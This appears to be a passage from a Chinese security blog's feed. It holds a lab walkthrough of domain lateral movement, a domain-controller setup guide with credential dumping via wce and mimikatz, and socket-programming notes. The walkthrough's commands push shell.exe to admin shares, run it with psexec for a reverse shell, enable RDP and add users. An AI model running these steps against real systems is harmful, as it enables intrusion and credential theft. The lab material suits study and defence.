\\192.168.141.100 "hb123456,./$" /user:"Administrator" </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-86ef926cdf0fdbef.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在4号机上，使用以下命令，将目标靶机的C盘映射到本地Z盘</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net use z: \\192.168.141.100\c$ </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-6a5dc8f61e967a6d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-636800654a0f0f65.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用copy命令将先前生成的shell.exe拷贝至靶机C盘</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>copy shell.exe \\192.168.141.100\c$ </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-558122d828737285.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在kali上开启监听(6666端口)，使用<strong>psesec.exe</strong>.启动靶机上的shell.exe</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.exe \\192.168.141.100 -u administrator -p hb123456,./$ c:\\shell.exe </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-a7b6544d85d2e439.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>成功反弹shell上线:</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-03a07bfcf85204c9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在kali里接收到了shell，可在meterpreter中管理shell，开启3389</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp </code></pre></div></div> <p>添加用户</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh." </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-2805ed3391b9c38d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在4号机远程登录3号机 用户名:hiro\Administrator 密码:hb123456,./$</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-05026fcb32a908a3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <h1 id="3号机到1号机">3号机到1号机</h1> <p>在3号机上，使用以下命令建立IPC$连接</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net use \\192.168.141.111 "hb123456,./$" /user:"Administrator" </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-9c18515bc42014f6.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在3号机上，使用以下命令，将目标靶机的C盘映射到本地Z盘</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>net use z: \\192.168.141.111\c$ </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-61aa26bbec803796.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-ff6a28d9bd35464f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用copy命令将先前生成的shell.exe拷贝至靶机C盘</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>copy shell.exe \\192.168.141.111\c$ </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-96e53ba1fe9afbad.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-4d7c5d6618b8973e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>在kali上开启监听(6666端口)，使用psexec.exe.启动靶机上的shell.exe</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.exe \\192.168.141.111 -u hiro\Administrator -p hb123456,./$ c:\\shell.exe </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-ad42da32db35d329.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>成功获取shell</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-528460880f398671.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>打开一号机3389</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-9825f280dc8352be.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>使用用户名:hiro\Administrator 密码: hb123456,./$登录</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-f44a435c1f05c2ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="" /></p> <p>成功拿下一号机！</p> Mon, 12 Nov 2018 00:00:00 +0000 http://WaIdo.github.io/2018/11/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F(%E5%AE%9E%E9%AA%8C)%E4%B9%8B%E5%9F%9F%E6%B8%97%E9%80%8F%E6%B7%B1%E5%85%A5%E5%BC%B9shell%E5%BC%803389%E6%8B%BF%E5%9F%9F%E6%8E%A7/ http://WaIdo.github.io/2018/11/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F(%E5%AE%9E%E9%AA%8C)%E4%B9%8B%E5%9F%9F%E6%B8%97%E9%80%8F%E6%B7%B1%E5%85%A5%E5%BC%B9shell%E5%BC%803389%E6%8B%BF%E5%9F%9F%E6%8E%A7/ 内网渗透 <h1 id="主要任务">主要任务</h1> <p>配置Windows Server 2012域控环境以及域用户的登录脚本和退出脚本，并抓取域控和域用户的hash</p> <h1 id="搭建域控环境">搭建域控环境</h1> <h2 id="本地管理员登录">本地管理员登录</h2> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-a9282e15807d3d32.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="本地管理员登录" /></p> <h2 id="设置静态ip">设置静态IP</h2> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-790c97579d0aee5a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="设置静态IP" /></p> <h2 id="安装active-directory域服务">安装Active Directory域服务</h2> <p>打开服务器管理器-&gt;仪表板-&gt;添加角色和功能-&gt;一直点下一步，直到在服务器角色中选择”Active Directory域服务”-&gt;在添加角色和功能向导中选择添加功能-&gt;一直点“下一步”直到“安装”-&gt;点击“安装”，等待安装完毕</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-4990541a8b85e524.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="添加角色和功能" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-4e6e1c5843f00164.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="安装Active Directory域服务" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-d5c52672a2c26e3e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="点击“安装”" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-a807d711df829a9d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="安装成功" /></p> <h2 id="将此服务器提升为域控制器">将此服务器提升为域控制器</h2> <p>回到【服务器管理器】界面，单击右上角【小旗子】，选择【将此服务器提升为域控制器】 <img src="https://upload-images.jianshu.io/upload_images/7216746-d2172fa84a2b0550.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="将此服务器提升为域控制器" /></p> <h3 id="添加新林">添加新林</h3> <p>在上一步弹出的窗口中添加新林，根域名填上域名称 <img src="https://upload-images.jianshu.io/upload_images/7216746-9683df070afe938e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="添加新林" /></p> <h3 id="设置还原模式密码">设置还原模式密码</h3> <p>请牢记密码，抓取Windows Server 2012 Hash中，某种特别情况下需要用到 <img src="https://upload-images.jianshu.io/upload_images/7216746-5574e07caab00bcd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="设置还原模式密码" /></p> <h2 id="域控搭建完毕">域控搭建完毕</h2> <p>一直下一步，安装完成后，系统会自动重启。【服务器管理器】界面左侧已经出现了管理的选项卡。 <img src="https://upload-images.jianshu.io/upload_images/7216746-682f3e288497b890.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="AD DS" /></p> <h1 id="设置域控的域用户">设置域控的域用户</h1> <p>此处以WinXP专业版作为域用户，家庭版无法添加到域</p> <h2 id="设置域用户静态ip将dns设置为域控的ip">设置域用户静态IP，将DNS设置为域控的IP</h2> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-0b151bdbfdb93af2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="设置域用户静态IP，将DNS设置为域控的IP" /></p> <h2 id="加入域控">加入域控</h2> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-25b89be450ea8a26.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="加入域控" /></p> <p>在弹出的窗口中，输入域控的用户名和密码 <img src="https://upload-images.jianshu.io/upload_images/7216746-a691ad5d8a5f5e1d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="输入域控的用户名和密码" /></p> <p>在WinXP和WinServer2012，使用net view命令，查看域用户(WinXP)是否加入成功 <img src="https://upload-images.jianshu.io/upload_images/7216746-196a918233eeb457.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="WinXP" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-d0fce06d29155c47.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="WinServer2012" /></p> <h1 id="通过组策略设置域用户登录和注销脚本">通过组策略设置域用户登录和注销脚本</h1> <p>在WinServer2012命令行运行<code class="highlighter-rouge">gpmc.msc</code>命令来启动启动“组策略管理编辑器”</p> <p>在“组策略管理编辑器”左侧导航树上选择 “Default Domain Policy” -&gt; 右键“编辑”-&gt;用户配置 -&gt; 策略 -&gt; Windows 设置 -&gt; 脚本（登录/注销）</p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-0de13200ed81a9db.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="步骤一" /></p> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-02c6bb0478cebcee.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="步骤二" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-1f13107306c4d958.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="步骤三" /></p> <p>双击 “登录”，在 “登录” 属性中添加上面的脚本。这里可以先在属性窗口的下部使用“显示文件”来查看默认脚本文件都放在什么地方，比如，在我的环境下是：</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>\\hiro.com\sysvol\hiro.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\User\Scripts\Logon \\hiro.com\sysvol\hiro.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\User\Scripts\Logoff </code></pre></div></div> <p>将脚本放入上面的两个文件夹 <img src="https://upload-images.jianshu.io/upload_images/7216746-424ee10992112ccd.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="登录脚本" /> <img src="https://upload-images.jianshu.io/upload_images/7216746-a61277419e048e55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="注销脚本" /></p> <p>登录脚本代码：<code class="highlighter-rouge">Load.vbs</code></p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MsgBox "Good morning", 48, "Title" </code></pre></div></div> <p>退出脚本代码：<code class="highlighter-rouge">Exit.vbs</code></p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MsgBox "Bye Bye!", 64, "Title" </code></pre></div></div> <p>点击添加，将脚本的路径和文件名添加到登录属性的脚本 <img src="https://upload-images.jianshu.io/upload_images/7216746-323cba1ac6aef279.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="添加登录脚本" /></p> <p>当域用户开机时，将出现如下窗口： <img src="https://upload-images.jianshu.io/upload_images/7216746-ce972373ca8f4b0c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="登录脚本运行" /></p> <p><strong>“注销” 脚本和 “登录” 脚本类似。</strong></p> <h1 id="抓取域控和域用户hash">抓取域控和域用户hash</h1> <h2 id="使用wce抓取hash">使用wce抓取hash</h2> <p>wce下载链接： https://pan.baidu.com/s/1CxnyQCcTuUbFthQbMrjYaA 提取码: jkgj</p> <p>以管理员运行cmd，切换到wce所在目录，输入命令<code class="highlighter-rouge">wce -l</code>即可 <img src="https://upload-images.jianshu.io/upload_images/7216746-737070b7dc69546d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="使用wce抓取hash" /></p> <p>第一行为域控(Win Server 2012)hash 第二行为域用户(WinXP)hash</p> <h2 id="使用mimikatz抓取hash">使用mimikatz抓取hash</h2> <p>链接: https://pan.baidu.com/s/1N7Mml-LaoL8GF18JAlDZ0Q 提取码: 4cyy</p> <p>mimikatz作为老牌的黑客工具已经升级到2.0的版本了，其中破解密码的功能也是非常方便，但对于杀软的防御也较弱，如果完全控制机器，关闭杀软也可，在msf中也要mimikatz的模块也可以在渗透中较为方便的获得密码</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mimikatz# privilege::debug //提升权限 mimikatz# sekurlsa::logonpasswords //抓取密码 </code></pre></div></div> <p><img src="https://upload-images.jianshu.io/upload_images/7216746-7e785ea4d8b831de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="使用mimikatz抓取hash" /></p> <p>这个工具抓取的信息非常全面，甚至抓取到了明文密码</p> Sat, 20 Oct 2018 00:00:00 +0000 http://WaIdo.github.io/2018/10/20/%E9%85%8D%E7%BD%AEWindows-Server-2012%E5%9F%9F%E6%8E%A7%E7%8E%AF%E5%A2%83/ http://WaIdo.github.io/2018/10/20/%E9%85%8D%E7%BD%AEWindows-Server-2012%E5%9F%9F%E6%8E%A7%E7%8E%AF%E5%A2%83/ web安全 <h1 id="第一章-tcpip简介">第一章 TCP/IP简介</h1> <h2 id="基本的cs服务模型">基本的C/S服务模型</h2> <p>网络编程是指编写的网络通信程序可以与网络上的其他程序进行通信。</p> <h2 id="tcpip四层结构">TCP/IP四层结构</h2> <p>网络接口层</p> <p>网际层负责相邻互联网上的不同主机之间的通信，主要包括IPv4、ICMP、RIP、IGMP</p> <p>传输层负责主机中两个进程之间的通信，主要包括TCP、UDP</p> <p>应用层直接为用户的应用进程提供服务</p> <p><strong>套接字编程就是应用层到传输层的接口(API)</strong></p> <h2 id="tcp协议介绍">TCP协议介绍</h2> <blockquote> <p>TCP(传输控制协议)是TCP/IP体系中面向连接的运输层协议，它可以保证数据可靠的传输。</p> </blockquote> <p>码元比特(6位)：分为6个标志，置1表示有效</p> <p>URG和紧急指针配合使用，发送紧急数据</p> <p><strong>ACK指出确认字段是否有效</strong></p> <p>PSH接收方应该尽快将这个报文提交给应用层</p> <p>RST重建连接</p> <p><strong>SYN同步序号用来请求建立连接</strong></p> <p><strong>FIN用来释放连接</strong></p> <h2 id="tcp连接建立与终止">TCP连接建立与终止</h2> <p>TCP是面向连接的协议。TCP连接的建立和释放是<strong>每一次通信</strong>中必不可少的过程。 TCP连接的建立需要经过<strong>三次数据传输</strong>。也就是<strong>三次握手</strong>。</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-6f514ceeb78427f3.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="建立TCP连接" /></p> <ol> <li>服务器准备好接收客户的连接请求 -&gt; socket、bind、listen函数</li> <li>客户主动打开 -&gt; connect函数，SYN分节(用来请求建立连接)</li> <li>服务器收到客户端发来的SYN分节后，必须发送ACK对其确认，同时发送SYN分节给客户端，表示接受客户端建立连接的请求 -&gt; SYN分节，ACK(指出确认字段是否有效)</li> <li>客户端发送ACK确认服务器的SYN -&gt; ACK(指出确认字段是否有效)</li> <li>连接建立成功</li> </ol> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-dd456d87fd296c6f.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="释放TCP连接" /></p> <ol> <li>客户端主动关闭连接 -&gt; close函数，FIN分节</li> <li>服务器收到FIN分节后执行被动关闭，并关闭套接字 -&gt; 发送ACK(对客户端的FIN分进行确认)，close函数，FIN分节</li> <li>客户端接受到FIN分节后，发送ACK确认分节后，彻底关闭连接</li> </ol> <h2 id="tcp连接中的分组交换">TCP连接中的分组交换</h2> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-345e3a3bac8d354e.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="TCP连接中的分组交换" /></p> <h2 id="udp协议介绍">UDP协议介绍</h2> <p>UDP(用户数据报协议)是面向无连接的服务，提供不可靠的数据传输。</p> <h1 id="第二章-套接字编程简介">第二章 套接字编程简介</h1> <h2 id="套接字基础">套接字基础</h2> <p>套接字是一种网络API(应用程序编程接口)，可以用它来开发网络程序</p> <p>套接字接口提供一种进程间通信的方法，使得在<strong>相同或不同的主机上</strong>的进程能以相同的规范进行双向信息传送</p> <p>套接字接口是应用层到传输层的接口</p> <h2 id="套接字类型">套接字类型</h2> <p>套接字类型是指创建套接字的应用程序要使用的通信服务的类型。</p> <p>最常用的几种类型:</p> <ul> <li>SOCK_STREAM:流式套接字，提供面向连接、可靠的数据传输服务，数据是按字节流、按照顺序收发，保证数据在传输过程中无丢失、无冗余。<code class="highlighter-rouge">TCP支持该套接字</code></li> <li>SOCK_DGRAM:数据报套接字，提供面向无连接的服务，数据收发无序，不能保证数据的准确到达。<code class="highlighter-rouge">UDP支持该套接字</code></li> <li>SOCK_RAW:原始套接字。允许对低于传输层的协议或物理网络直接访问，例如可以接收和发送ICMP报(网络层的协议)。常用于检测新的协议。</li> </ul> <h2 id="套接字地址结构">套接字地址结构</h2> <h3 id="ipv4套接字地址结构">IPv4套接字地址结构</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;netinet/in.h&gt; typedef uint32_t in_addr_t; //无符号32位整数，IPv4地址 typedef uint16_t in_port_t; //无符号16位整数，TCP或UDP端口 typedef unsigned short sa_family_t; //套接字地址结构的地址族 unsigned short 0~65535字节 struct in_addr{ in_addr_t s_addr; //s_addr成员存储的是网络字节序的32位IPv4地址 }; struct sockaddr_in{ uint8_t sin_len; //长度成员，存储套接字地址结构的长度(一般不设置) sa_family_t sin_family; //sin_family是Internet地址族，在IPv4中是AF_INET in_port_t sin_port; //端口号，以网络字节序存储 struct in_addr sin_addr; //是一个结构，该结构中的成员存储的才是IP地址 char sin_zero[8]; //未使用，置0 }; </code></pre></div></div> <p>举个例子：</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct sockaddr_in ser; ser.sin_addr给出的是一个存放地址的结构 ser.sin_addr.s_addr存储的是地址中的内容，也就是IP地址的值 </code></pre></div></div> <h3 id="ipv6套接字地址结构">IPv6套接字地址结构</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;netinet/in.h&gt; typedef uint16_t in_port_t; typedef unsigned short sa_family_t; struct in6_addr{ uint8_t s6_addr[16]; }; struct sockaddr_in6{ uint8_t sin6_len; //长度成员 sa_family_t sin6_family; //Internet地址族，在IPv6中是AF_INET6 in_port_t sin6_port; //端口号，以网络字节序存储 uint32_t sin6_flowinfo; //低24位是流量标号，下4位是优先级，再下4位保留 struct in6_addr sin6_addr; //in6_addr结构中的s6_addr成员，存储的是网络字节序的128位IPv6地址 }; </code></pre></div></div> <h3 id="两种套接字地址结构的比较">两种套接字地址结构的比较</h3> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-d3e47802e08031cf.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="两种套接字地址结构的比较" /></p> <h3 id="通用套接字地址结构">通用套接字地址结构</h3> <p>套接字地址结构作为参数传递给任一个套接字函数时，通常通过<code class="highlighter-rouge">指针</code>来传递</p> <p>当套接字函数取得此参数时，参数中可能存放的是来自所支持的任何协议族的地址结构。因此在调用套接字函数时，需要将指向特定协议的地址结构的指针类型转换成指向通用的地址结构的指针。</p> <p><strong>通用套接字地址结构</strong>如下:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; struct sockaddr{ uint8_t sa_len; sa_family_t sa_family; char sa_data[14]; }; </code></pre></div></div> <h2 id="套接字基本函数">套接字基本函数</h2> <h3 id="字节排序函数">字节排序函数</h3> <blockquote> <p>广域网规定的网络字节序采用大端字节序</p> </blockquote> <ul> <li>小端字节序：将低序字节存储在起始地址</li> <li>大端字节序：将高序字节存储在起始地址</li> </ul> <p><img src="https://ws4.sinaimg.cn/large/006tNbRwly1fwp61wwptpj30m309d7c5.jpg" alt="小段字节序和大端字节序" /></p> <p>将某给定主机所使用的字节序称为<strong>主机字节序</strong>。为了使采用不同字节序的主机能够互相通信，TCP/IP协议规定了网络字节序。</p> <p>所有主机或路由器在发送IP数据包之前要首先将相应的信息转换成网络字节序。相应的，在接收数据包后，要将网络字节序转换成主机字节序。</p> <p>主机字节序和网络字节序之间的相互转换，要用到以下四个函数：</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;netinet/in.h&gt; uint16_t htons(uint16_t hosts); uint32_t htonl(uint32_t hostl); uint16_t ntohs(uint16_t nets); uint32_t ntohl(uint32_t netl); </code></pre></div></div> <p>在上述四个函数中，h代表主机host，n代表网network，s代表短整型short，l代表长整型long</p> <ul> <li>htons：将16位的短整型数，从主机字节序转换成网络字节序</li> <li>htonl：将32位的长整型数，从主机字节序转换成网络字节序</li> <li>ntohs：将16位的短整型数，从网络字节序转换成主机字节序</li> <li>ntohl：将32位的长整型数，从网路字节序转换成主机字节序</li> </ul> <h2 id="字节操纵函数">字节操纵函数</h2> <h3 id="以字母bbyte打头">以字母b(byte)打头</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;string.h&gt; void bzero(void *dest, size_t len); //bzero函数将目标中指定数目的字节置为0，经常用此函数来对套接字地址结构进行初始化 void bcopy(const void *src, void *dest, size_t len); //bcopy函数将指定数目的字节从源拷贝到目标 int bcmp(const void *src, void *dest, size_t len); //bcmp函数比较源和目标两个字符串，若相同返回值为0，否则返回非0值 </code></pre></div></div> <h3 id="以memmemory打头">以mem(memory)打头</h3> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void *memset(void *dest, int x, size_t len); //将目标指定数目的字节置为值x void *memcpy(void *dest, const void *src, size_t len); //将指定数目的字节从源拷贝到目标 int memcmp(const void *str1, const void *str2, size_t len); //比较两个字符串，若相同返回值为0，否则返回非0值。如果str1所指字节大于str2所指字节，则返回值大于0，否则返回值小于0 </code></pre></div></div> <h2 id="ip地址转换函数">IP地址转换函数</h2> <blockquote> <p>用于字符串的IP和二进制值的IP相互转换</p> </blockquote> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;arpa/inet.h&gt; in_addr_t inet_addr(const char *str); int inet_aton(const char *str, struct in_addr *numstr); char *inet_ntoa(struct in_addr inaddr); </code></pre></div></div> <p>a代表ASCII串，n代表数值格式，是存在于套接字地址结构中的二进制值。</p> <h3 id="inet_addr函数">inet_addr函数</h3> <p>将字符串形式的IP地址转换成32位二进制值的IP地址。str指向字符串形式的IP地址。函数调用成功，返回值为32位二进制值的IP地址。</p> <h3 id="inet_aton函数">inet_aton函数</h3> <p>将字符串形式的IP地址转换成32位二进制值的IP地址。str指向字符串形式的IP地址。numstr指向转换后的32位网络字节序的IP地址。如果成功返回1，否则返回0</p> <h3 id="inet_ntoa函数">inet_ntoa函数</h3> <p>将一个32位网络字节序的二进制值的IP地址转换成相应的点分十进制的IP地址。这个函数的参数是一个结构，而不是指向结构的指针。该函数的返回值所指向的串留在静态内存中，所以函数是不可重入的</p> <hr /> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;arpa/inet.h&gt; int inet_pton(int family, const char *str, void *numstr); const char *inet_ntop(int family, const void *numstr, char *str, size_t len); </code></pre></div></div> <p>p代表地址的表达格式是ASCII串。n代表数值格式，是存在于套接字地址结构中的二进制值。</p> <p>这两个函数中的family参数，指的是操作地址的地址族，IPv4是AF_INET，IPv6是AF_INET6</p> <h3 id="inet_pton函数">inet_pton函数</h3> <p>将指针str所指的字符串形式的IP地址，转换成网络字节序的二进制值的IP地址，并用指针numstr存储。如果成功返回1，如果对于指定的family输入的字符串不是一个有效的表达格式，则返回值为0，出错返回-1</p> <h3 id="inet_ntop函数">inet_ntop函数</h3> <p>将numstr所指的二进制值的IP地址转换成字符串形式的IP地址，并用指针str存储。参数len是目标的大小，为了避免函数溢出其调用者的缓冲区。</p> <h3 id="五个地址转换函数">五个地址转换函数</h3> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-64863076e4645e37.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="五个地址转换函数" /></p> <h3 id="isfdtype函数">isfdtype函数</h3> <p>用于测试某个描述符是不是给定的类型</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/stat.h&gt; int isfdtype(int fd, int fdtype); </code></pre></div></div> <p>isfdtype函数：测试描述符fd是不是fdtype参数指定的类型</p> <p>为了测试描述符是否是套接字描述符，fdtype参数应设为S_IFSOCK。例如：</p> <p>isfdtype(sockfd, S_IFSOCK);</p> <h2 id="值-结果参数">值-结果参数</h2> <p>当把套接字地址结构传递给套接字函数时，总是通过指针来传递的，即传递的是一个指向套接字地址结构的指针，结构的长度也可用参数传递。</p> <p>从进程到内核传递套接字地址结构的函数: <code class="highlighter-rouge">bind、connect、sendto</code></p> <p>在这三个函数的参数中都含有两个相似的参数，分别是指向套接字地址结构的指针及该地址结构的大小。例如:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct sockaddr_in ser; bind(sockfd, (struct sockaddr *)&amp;ser, sizeof(ser)); </code></pre></div></div> <p>这里的bind函数将套接字地址结构和结构大小都传递给了内核，所以进程到内核拷贝的数据长度是确定的</p> <hr /> <p>从内核到进程传递套接字地址结构的函数: <code class="highlighter-rouge">accept、recvfrom、getsockname、getpeername</code></p> <p>这四个函数包含的两个参数分别是指向套接字地址结构的指针和指向套接字地址结构大小的指针。例如:</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct sockaddr_in client; socklen_t len; len = sizeof(client); accept(listenfd, (struct sockaddr *)&amp;client, &amp;len); </code></pre></div></div> <p>由于accept函数中存放套接字地址结构长度的参数是个指针，那么在函数调用时，结构长度是个值，这个值告诉内核该结构的长度，使内核在写这个结构时不会越界。而当函数返回时，结构大小的值发生了变化，变成了内核在此结构中确切存储的数据长度。进程可以通过这个值得到内核写入多少信息到这个结构中。这种在参数传递的过程中，其值发生变化了的参数称为<strong><em>值-结果参数</em></strong>，内核和进程间的两种传递参数的方式如下图:</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-c613cf7b4d76843d.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="内核和进程间传递参数" /></p> <h1 id="第三章-基本tcp套接字编程">第三章 基本TCP套接字编程</h1> <h2 id="31-tcp套接字编程">3.1 TCP套接字编程</h2> <p>使用TCP套接字编程可以实现基于TCP/IP协议的面向连接的通信，它分为<code class="highlighter-rouge">服务器和客户端</code>两部分:</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-95f0943d07af7e4b.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" alt="TCP客户/服务器的套接字函数" /></p> <p>TCP套接字编程中，服务器端实现的步骤:</p> <ol> <li>使用socket()函数创建套接字</li> <li>使用bind函数为创建的套接字绑定到指定的地址结构</li> <li>listen()函数设置套接字为监听模式，使服务器进入被动打开的状态</li> <li>接受客户端的连接请求，建立连接</li> <li>接收、应答客户端的数据请求</li> <li>终止连接</li> </ol> <p>客户端实现的步骤:</p> <ol> <li>使用socket()函数创建套接字</li> <li>调用connect()函数建立一个与TCP服务器的连接</li> <li>发送数据请求，接收服务器的数据应答</li> <li>终止连接</li> </ol> <h3 id="socket函数">socket函数</h3> <p>为了执行网络I/O，无论是服务器还是客户端，首先必须调用socket函数，产生TCP套接字，作为TCP通信的传输端点</p> <div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;sys/socket.h&gt; int socket(int family, int type, int protocol); </code></pre></div></div> <p>socket函数中family参数指明协议族。type参数指明产生套接字的类型。protocol参数是协议标志，一般在调用socket函数时将其置为0，但如果是原始套接字，就需要为protocol指定一个常值。</p> <p>该函数调用成功，返回一个小的非负的整数值，它与文件描述符类似，这里称之为<code class="highlighter-rouge">套接字描述符</code>，简称<code class="highlighter-rouge">套接字</code>，之后的I/O操作都由该套接字完成。如果函数调用失败，则返回-1。</p> <p>family参数指明的协议族，确定了socket使用的协议类型，值通常为:</p> <ul> <li>AF_INET: IPv4协议</li> <li>AF_INET6: IPv6协议</li> <li>AF_ROUTE: 路由套接口</li> </ul> <p>type参数指明产生套接字的类型，它常用的值包括:</p> <ul> <li>SOCK_STREAM: 字节流套接口，TCP使用的是这种格式</li> <li>SOCK_DGRAM: 数据报套接口，UDP使用的是这种形式</li> <li>SOCK_RAW: 原始套接口</li> </ul> <p>并不是所有的family和type的组合都有效，下表中Yes表示组合有效，No表示组合无效:</p> <p><img src="http://upload-images.jianshu.io/upload_images/7216746-6f936c6c25751d52.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240" 